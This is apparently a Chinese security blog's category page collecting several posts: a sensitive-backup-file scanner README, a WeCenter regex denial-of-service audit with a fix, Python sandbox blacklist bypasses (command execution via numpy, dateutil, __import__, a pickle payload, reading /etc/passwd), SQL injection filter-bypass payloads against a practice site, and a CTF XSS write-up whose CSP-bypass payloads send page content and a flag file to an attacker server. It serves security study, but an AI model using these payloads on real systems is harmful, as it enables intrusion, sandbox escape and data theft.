分类 WEB安全 下的文章

FileScan V1


FileScan: 敏感文件扫描 / 二次判断降低误报率 / 扫描内容规则化 / 多目录扫描

程序只供交流,请勿用于非法用途,否则产生的一切后果自行承担!!!

项目地址: https://github.com/Mosuan/FileScan

第三方库:
pip install requests

运行方式:
python filescan.py http://www.0aa.me
python filescan.py http://www.0aa.me/0aa/index.php

目录:

  • reque.py requests发送请求
  • filescan.py 入口文件,扫描结果相关
  • rule_parse.py 解析规则
  • backup_rule.py 扫描规则

依靠什么来验证?

  1. 返回状态码
  2. 返回内容正则判断
  3. 返回header
  4. 返回内容大小

如果你只是想使用,不想添加规则,那么下面的东西你就不用看了。

先说说规则吧,大概一条规则如下:

# 规则名字,可以随便写
    "url_backup": {
        # 是否每个目录都扫描 目前这个功能没有,后面会写
        "dir": True,
        # 是否需要拼接文件后缀名,dict有写filename的时候为True
        "suffix": True,
        # 规则
        "name":[{
            # 真规则的文件名
            "rule_true":[
                # zip rar
                "[DOMAIN]", "[HOST]", "[HOSTNAME]", "[TIME]", "[DOMAIN]1", "[HOST]1", "[HOSTNAME]1", "[TIME]1",
                "web", "webroot", "WebRoot", "website", "bin", "bbs", "shop", "www", "wwww",
                1, 2, 3, 4, 5, 6, 7, 8, 9,
                "www1", "www2", "www3", "www4", "default", "log", "logo", "kibana", "elk", "weblog",
                "mysql", "ftp", "FTP", "MySQL", "redis", "Redis",
                "cgi", "php", "jsp",
                "access", "error", "logs", "other_vhosts_access",
                "database", "sql",
            ],
            # 假规则的文件名,当一个漏洞真规则被判断存在的时候,就要用假规则去二次验证是否存在了
            "rule_false": "fuckcar10240x4d53"
        }],
        # 文件后缀名
        "filename": [
            "rar", "zip", "tar.gz", "tar.gtar", "tar", "tgz", "tar.bz", "tar.bz2", "bz", "bz2", "boz", "3gp", "gz2"
        ],
        # 判断是否存在
        "result": {
            # 返回页面大小
            "length": 50,
            # 返回状态码
            "status_code": [200],
            # 返回header
            "header":{
                # 返回header里面的字段名
                "Content-Type":[
                    # 字段值 可用正则
                    "application\/x-gzip", "text\/plain", "application\/x-bzip", "application\/bacnet-xdd+zip", "application\/x-gtar","application\/x-compressed", "application\/x-rar-compressed", "application\/x-tar", "application\/zip", "application\/force-download","application\/.*file", "application\/.*zip", "application\/.*rar", "application\/.*tar", "application\/.*down"
                ]
            }
        }
    }

看起来可能有些复杂,认真点看,其实不难,我认为很好理解。
规则里面的rule_true字段里面的几个替换符的意思如下:

  • 程序会将你传入的url用urlparse库解析出host,大概的意思就是下面这样
    比如一个url: http://www.0aa.me

    1. [DOMAIN] == 0aa.me
    2. [HOST] == www.0aa.me
    3. [HOSTNAME] == 0aa
      [TIME] 这个特殊一点,根据你扫描的日期,获取前几天的日期(默认前两天),如:今天20170809,会生成三种格式:
2017—08-09 / 2017—08-08 / 2017—08-07
2017_08_09 / 2017_08_08 / 2017_08_07
20170809 / 20170808 / 20170807

配置相关:
如果你想扫描更前面的日期,可以配置:
rule_parse.py 里面的 self.timenum 变量

限速:
filescan.py 里面的 self.sleep_time 变量

请求timeout时间:
reque.py 里面的 self.timeout 变量

最后再说一次:程序只供交流,请勿用于非法用途,否则产生的一切后果自行承担!!!

最后的最后感谢下:
北斗Team的所有挖掘机工程师
Saline大表哥
Redfree师傅

一年前在前公司搭建了一个wecenter程序的社区,忽然有一天发现社区打开首页都会超时,后面排查发现是php超时了,当时知道是文章引起的,但是手上还有其他项目在写,就没去跟,把文章删了就没去管他了。 直到前两个星期再次发现了这种问题,刚好手上也没什么事情,就抽空去跟了下代码。

1.漏洞形成原因

文章内容65k个字符,字符串太大去匹配贪婪模式,导致php timeout,看看文章的字段类型.
1.png

2.代码审计

入口文件 index.php 大概23行

AWS_APP::run();

继续跟进去 /system/aws_app.inc.php 只看关键代码 大概104行

$handle_controller->$action_method();

/app/article/main.php 关键代码 大概36行

public function index_action()
    {
        //...省略部分代码
        // $article_info['message'] 是文章内容
        $article_info['message'] = FORMAT::parse_attachs(nl2br(FORMAT::parse_bbcode($article_info['message'])));
        //...省略部分代码
        TPL::output('article/index');
    }

跟进去看看 FORMAT::parse_bbcode 对文章内容做了什么操作
/system/class/cls_format.inc.php 大概78行

public static function parse_bbcode($text)
{
    if (!$text)
    {
        return false;
    }
    return self::parse_links(load_class('Services_BBCode')->parse($text));
}

感觉wecenter的版本挺乱的。

这里可以用echo rand();exit;来调试了

继续跟进去self::parse_links

public static function parse_links($str)
    {
        $str = @preg_replace_callback('/(?<!!![](|"|'|)|>)(https?://[-a-zA-Z0-9@:;%_+.~#?&//=!]+)(?!"|'|)|>)/i', 'parse_link_callback', $str);
        if (strpos($str, 'http') === FALSE)
        {
            $str = @preg_replace_callback('/(www.[-a-zA-Z0-9@:;%_+.~#?&//=]+)/i', 'parse_link_callback', $str);
        }
        // 经过调试发现 问题在这一行。传入的$str的字节大概6w左右,这里用到了贪婪模式 - - 这个地方的已经修复了:https://github.com/wecenter/wecenter/commit/177a9e8bab6aec8725f258df02f8f214e5b2469c
        $str = @preg_replace('/([a-z0-9+_-]+[.]?[a-z0-9+_-]+@[a-z0-9-]+.+[a-z]{2,6}+(.+[a-z]{2,6})?)/is', '<a href="mailto:1">1</a>', $str);
        echo rand();exit;
        return $str;
    }

preg_replace 里面的正则暂时改成w,发现还是php还是存在timeout,继续跟代码。

再回到 /app/article/main.phpindex_action 函数的最后一行 TPL::output('article/index');

/system/class/cls_template.inc.php 下的 output 函数,大概56行

$display_template_filename = 'default/' . $template_filename;
/*省略部分代码*/
$output = self::$view->getOutput($display_template_filename);

看看 self::$view 怎么来的

/system/class/cls_template.inc.php 下的 initialize 函数:

public static function initialize()
    {
        if (!is_object(self::$view))
        {
            self::$template_path = realpath(ROOT_PATH . 'views/');
            self::$view = new Savant3(
                array(
                    'template_path' => array(self::$template_path),
                    //'filters' => array('Savant3_Filter_trimwhitespace', 'filter')
                )
            );
            if (file_exists(AWS_PATH . 'config.inc.php') AND class_exists('AWS_APP', false))
            {
                self::$in_app = true;
            }
        }
        return self::$view;
}

跟进去 self::$view->getOutput 看看$output的值是什么

/system/Savant3.php 大概1004行:

public function getOutput($tpl = null)
    {
        $output = $this->fetch($tpl);
        if ($this->isError($output)) {
            $text = $this->__config['error_text'];
            return $this->escape($text);
        } else {
            return $output;
        }
    }

$this->fetch 能看到他include了模板,并且把内容return了出去

 public function fetch($tpl = null)
    {
       
        // 省略部分代码      
        } else {
            // yes.  execute the template script.  move the script-path
            // out of the local scope, then clean up the local scope to
            // avoid variable name conflicts.
            $this->__config['fetch'] = $result;
            unset($result);
            unset($tpl);
            // are we doing extraction?
            if ($this->__config['extract']) {
                // pull variables into the local scope.
                extract(get_object_vars($this), EXTR_REFS);
            }
            // buffer output so we can return it instead of displaying.
            ob_start();
            // are we using filters?
            if ($this->__config['filters']) {
                // use a second buffer to apply filters. we used to set
                // the ob_start() filter callback, but that would
                // silence errors in the filters. Hendy Irawan provided
                // the next three lines as a "verbose" fix.
                ob_start();
                include $this->__config['fetch'];
                echo $this->applyFilters(ob_get_clean());
            } else {
                // no filters being used.
                include $this->__config['fetch'];
            }
            // reset the fetch script value, get the buffer, and return.
            $this->__config['fetch'] = null;
            return ob_get_clean();
        }
    }

继续看拿到模板内容后他是怎么处理的:

在这里耽误了很久,一开始直接echo rand();exit;调试的,没注意看有多个模板:

调试代码改成

if($display_template_filename == 'default/article/index.tpl.htm'){
     echo rand();
     exit;
}

/system/class/cls_template.inc.php 下的 output 函数,大概 134行

//两个贪婪模式的正则,改一下就ok了。
$output = preg_replace('/[a-zA-Z0-9]+_?[a-zA-Z0-9]*-__/', '', $output);
$output = preg_replace('/(__)?[a-zA-Z0-9]+_?[a-zA-Z0-9]*-(['|"])/', '2', $output);
if($display_template_filename == 'default/article/index.tpl.htm'){
    echo rand();
    exit;
}

刚开始真没想到贪婪模式,正则现在差不多就记得点星问了,后来跟@L3m0n(柠檬) 叔叔在做题的时候提了一下,他说是贪婪模式,复习下正则吧…
正则表达式的三种模式【贪婪、勉强、侵占】的分析
正则基础之——NFA引擎匹配原理
正则基础之——贪婪与非贪婪模式
<进阶-1> 正则表达式的匹配原理

贪婪模式图

2.png

3.png

抽出上面的其中一条正则来说:
[a-zA-Z0-9]+_?[a-zA-Z0-9]*-__
把正则切割成几部分
6.png

认真看贪婪模式的那张图片,假如传入的字符串是:

[img]abc
把字符串切割一下:
7.png

正则在线debug:https://regex101.com

正则匹配过程如下(当然我说的也不一样是对,有兴趣的可以自己去看看正则表达式的匹配原理):

第一次匹配:从字符串位置0开始,子表达式"[a-zA-Z0-9]+",匹配"[",匹配失败,继续往前匹配;
第二次匹配:从字符串位置1开始,子表达式"[a-zA-Z0-9]+",匹配"i", 匹配成功,因为是贪婪模式,一直匹配到"g"那个地方才结束;
第三次匹配:从字符串位置4开始,子表达式"_?",匹配"]",同时记录备选状态,匹配失败,此时进行回溯,找到备选状态,"_?"忽略匹配;
第四次匹配:从字符串位置4开始,子表达式"[a-zA-Z0-9]*",匹配"]",同时记录备选状态,匹配失败,此时进行回溯,找到备选状态,"_?"忽略匹配;
第五次匹配:从字符串位置4开始,子表达式"-",匹配"]",匹配失败,向前查找可供回溯的状态,把控制权交给"_?",由前面匹配成功的子表达式让出已匹配的字符"g";
第六次匹配:从字符串位置3开始,子表达式"_?",匹配"g",同时记录备选状态,匹配失败,此时进行回溯,找到备选状态,"_?"忽略匹配;
第七次匹配:从字符串位置3开始,子表达式"[a-zA-Z0-9]*",匹配"g", 匹配成功;
第八次匹配:从字符串位置4开始,子表达式"-",匹配"]",匹配失败,向前查找可供回溯的状态,把控制权交给"_?",由前面匹配成功的子表达式让出已匹配的字符"mg";
第九次匹配:从字符串位置2开始,子表达式"_?",匹配"m",匹配零次或者一次,不存在这个字符,匹配零次;
第十次匹配:从字符串位置2开始,子表达式"[a-zA-Z0-9]*",匹配"m",匹配成功,因为是贪婪模式,一直匹配到"g"那个地方才结束;
第十一次匹配:从字符串位置4开始,子表达式"-",匹配"]",匹配失败,当前位置正则已经尝试了所有可能,现在从新开始匹配,之前是从i开始匹配成功的,下面从m开始匹配。
第十二次匹配:从字符串位置2开始,子表达式"[a-zA-Z0-9]+",匹配"m",匹配成功,因为是贪婪模式,一直匹配到"g"那个地方才结束;

会一直这样循环直到正则尝试过所有的位置都不能找到匹配结果才会匹配失败。

3.为什么会timeout?

正则是重复的子表达式且贪婪模式组成不能正确匹配,字符串是超大的话,就会尝试匹配很多次很多次很多次,这就导致了php timeout了。
9.png

拒绝服务效果
10.png

修复后
11.png

4.修复方案与建议

/system/class/cls_template.inc.php 下的 output 函数,大概 134-135 行(正则)修改为如下:

$output = preg_replace('/[a-zA-Z0-9_?]+-__/', '', $output);
$output = preg_replace('/(__)?[a-zA-Z0-9_?]+-(['|"])/', '2', $output);

如何避免这种问题:

1.子表达式不要重复并且都贪婪模式;

2.写完正则之后debug一下;

笔者在工作中碰到的一个系统,能写入python脚本,但是有黑名单函数过滤,在Bypass的过程的觉得有意思的地方都记录下来。

1.黑名单下的函数

1.1 变量 = 函数名
a = open
print(a("/etc/passwd").read())
1.2 空格+换行

经过测试,函数名后面加点空格换一行都能执行。

 print open                   \
("/etc/passwd").read()

111.png

2.第三方库内置的函数

一般都会有在白名单的第三方库的,除非他们程序员太厉害了,所有模块都自己实现。
numpy这个库,内置了很多可以执行命令的地方。

from numpy.distutils.exec_command import _exec_command as system
system("ls /")

222.png

3.import

大概常用的就几种,第三方的就不说了,欢迎补充

3.1 利用as取别名

import os as o

3.2 内置函数 import

__import__("os").system("whoami")

3.3 逗号+as(如果知道目录结构还可以用点号或者星号)

import time as t,os as o,urllib

3.4 魔术方法(思路来自:美丽联合集团安全应急响应中心@Viarus)

[].__class__.__base__.__subclasses__()魔术方法,加载全部模块,需要for遍历之后找到模块来调用。

3.5 getattr函数(首先你需要在内存中已经加载这个库,@kttzd师傅的姿势)

如numpy库的

from numpy.core import * 
_ufunc_reconstruct("os","system")("whoami")

888.png

4.__init__.py 加载的三方库

这个地方很容易被程序员忽略...
__init__.py 里面import的库,我们可以直接使用。
dateutil这个第三方库。
dateutil/zoneinfo/__init__.py 下第三行就有import os

from dateutil import zoneinfo
zoneinfo.os.system("ls /")

555.png

5.反序列

import pickle
pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")

777.png

这里有个经典的案例https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

再分享个没啥用tips,这次测试碰到的一个案例,因为之前被别人挖过,所以限制了对外发请求,又不能print打印出命令执行的结果,当时不是很肯定存在命令执行,没法证明就没法提交上去,后面用变量接收命令执行的结果然后用int函数强制转换,报错的时候就把命令执行返回的str带出来了(后面@kttzd 师傅翻出这个系统的文档,有个函数专门用来打印日志...)

0D8E918C-9B72-4B22-AB71-7D41DD221054.png

最后的最后再感谢下@kttzd 师傅的姿势。

参考

Python Sandbox Bypass
Data model

1.基础信息收集

库名security_btest
版本5.5.54-0+deb8u1
表名books_btest_BFE2
字段id_8994,author_6C61,title_19D0,price_77BC,secret_E295

获取表名

http://sqlitest.anquanbao.com.cn/api/query?art_id=2 /*!union*/select!1,{0a (select/**/GROUP_CONCAT(TABLE_NAME)/**//**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA/**/in('security_btest'))},!2

获取字段名

http://sqlitest.anquanbao.com.cn/api/query?art_id=2%20/*!union*/select!1,%7B0a%20(select/**/GROUP_CONCAT(COLUMN_NAME)/**//**/from/**/information_schema.CoLUMNS/**/where/**/CoLUMNS.TABLE_name/**/in(%27books_btest_BFE2%27))%7D,!2

11111.png

2.Bypass

2.1 利用字段null+花括号{} 绕过字段拦截

http://sqlitest.anquanbao.com.cn/api/query?art_id=33 union select not null,{0a (select secret_E295 from books_btest_BFE2 limit 1)},null

1222.png

2.2 利用@符号绕过字段限制

http://sqlitest.anquanbao.com.cn/api/query?art_id=2 /*!union*/select@1,(select secret_E295 from books_btest_BFE2 limit 1),2

3233232.png

2.3 利用感叹号绕过字段限制

http://sqlitest.anquanbao.com.cn/api/query?art_id=2 /*!union*/select!1,{0a (select secret_E295 from books_btest_BFE2 limit 1)},!2

03.png

2.4 利用科学计数绕过union

http://sqlitest.anquanbao.com.cn/api/query?art_id=2e1union select 1,(select secret_E295 from books_btest_BFE2 limit 1),3

04.png

2.5 利用百分号绕过

http://sqlitest.anquanbao.com.cn/api/query?art_id=-1 union select secret_E295,2,3 from books_btest_BFE2 where 1 or '%' limit 1

05.png

2.6 这个payload怎么过的我也有点懵逼...

http://sqlitest.anquanbao.com.cn/api/query?art_id=2 union select secret_E295,0 between null and 2,-2 from books_btest_BFE2

06.png

2.7 利用浮点数绕过union限制,注意0. xx后面不用写数字。

http://sqlitest.anquanbao.com.cn/api/query?art_id=0.union select 1,(select secret_E295 from books_btest_BFE2 limit 1),3

07.png

2.8 利用符号绕过字段限制。

http://sqlitest.anquanbao.com.cn/api/query?art_id=1 union select 1,'\/',(select secret_E295 from books_btest_BFE2 limit 1)

08.png

2.9 利用as+引号绕过字段限制。

http://sqlitest.anquanbao.com.cn/api/query?art_id=1 union select  (1)"a",(select secret_E295 from books_btest_BFE2 limit 1),2

09.png

2.10 union跟前面的数字连接的时候,字段就没有限制了。

http://sqlitest.anquanbao.com.cn/api/query?art_id=1%2b{0a 1}union select  1,(select secret_E295 from books_btest_BFE2 limit 1),2

010.png

------------- 修复后 ------------

2.11 抽空再看了下你们,发现修复了部分payload,比如之前给你们提交的单次感叹号,用双感叹号可以绕过。

http://sqlitest.anquanbao.com.cn/api/query?art_id=2 union select!!1,2,(select group_concat(secret_E295) from books_btest_BFE2)

012.png

3. 总结

可能百度那边准备不充分,感觉出现了很多非预期的payload。

题目地址:https://pwnhub.cn/gamedetail?id=13

测试过程

注册之后有个留言板,有CSP(不允许对外发送请求),经过测试只过滤一次某些单次,如:on,oonn就能过。

用表单来绕过csp返回页面到我的服务器上,看到提示
poc:

<imong src=x oonnerror="var htmlstr = document.getElementsByTagName('html')[0].innerHTML;$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/hub1'+ escape(htmlstr)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')">

转码后发现提示( http://zone.secevery.com/code/index.html 在线编码转码...之前写的辣鸡程序...)

1.png

访问http://52.80.63.91/adminshigesha233e3333/ 提示 flag.php

2.png

访问flag.php 提示只有admin能看....

3.png

尝试盲打admin返回flag.php的内容.
poc:

<imong src=x oonnerror="$.get('/adminshigesha233e3333/flag.php', functioonn(data){$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/'+ escape(data)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')})">

4.png

提示nothing here,╮(╯-╰)╭,what ever you try, only from adminshigesha233e3333 can read it...

得到url http://52.80.63.91/adminshigesha233e3333/

PS:在这里卡了一天多,在各种尝试加header访问,get访问,post访问,各种蛋疼,测到半夜的时候题目后端挂了...
继续回到我们开始拿到的提示urlhttp://52.80.63.91/adminshigesha233e3333/#admin
查看源码:

5.png

发现可以xss,并且页面有设置csp规则Content-Security-Policy:default-src 'self'; script-src 'nonce-9VyGxnyKcfU4';
再看看提示说在adminshigesha233e3333才可以读取到内容,我又在这里卡了很久,我以为这里是个文件读取漏洞...后来忽然想起这里有个反射xss,又有csp。于是把思路放到用xss来读取flag.php上。
poc:

<iframe name=aa src="./adminshigesha233e3333/#admin%3Ciframe id=hh%20src%3D./flag.php name=bb></iframe>" oonnload="var str = window.frames.aa.frameElement.coonntentDocument.defaultView.bb.document.getElementsByTagName('html')[0].innerHTML;$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/hub'+ escape(str)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')"></iframe>

6.png

成功拿到flag...感谢佳佳前端大佬的帮助...卡在两层iframe好久...后来去问了下前端大佬,她说可以在父iframe读取子iframe的内容。

7.png

  • firefox 下获取iframe内容
    document.getElementById('flag').contentWindow.document.getElementsByTagName('html')[0].innerHTML;
  • firefox 下等待页面加载完毕再获取iframe里面的内容
    window.onload=function(){var str = document.getElementById('flag').contentWindow.document.getElementsByTagName('html')[0].innerHTML;}
  • 获取iframe 二层内容
    window.frames.aa.frameElement.contentDocument.defaultView.bb.document.getElementsByTagName('html')[0].innerHTML

最后的最后再次感谢下佳佳前端大佬还有出题的师傅,真的被虐哭了。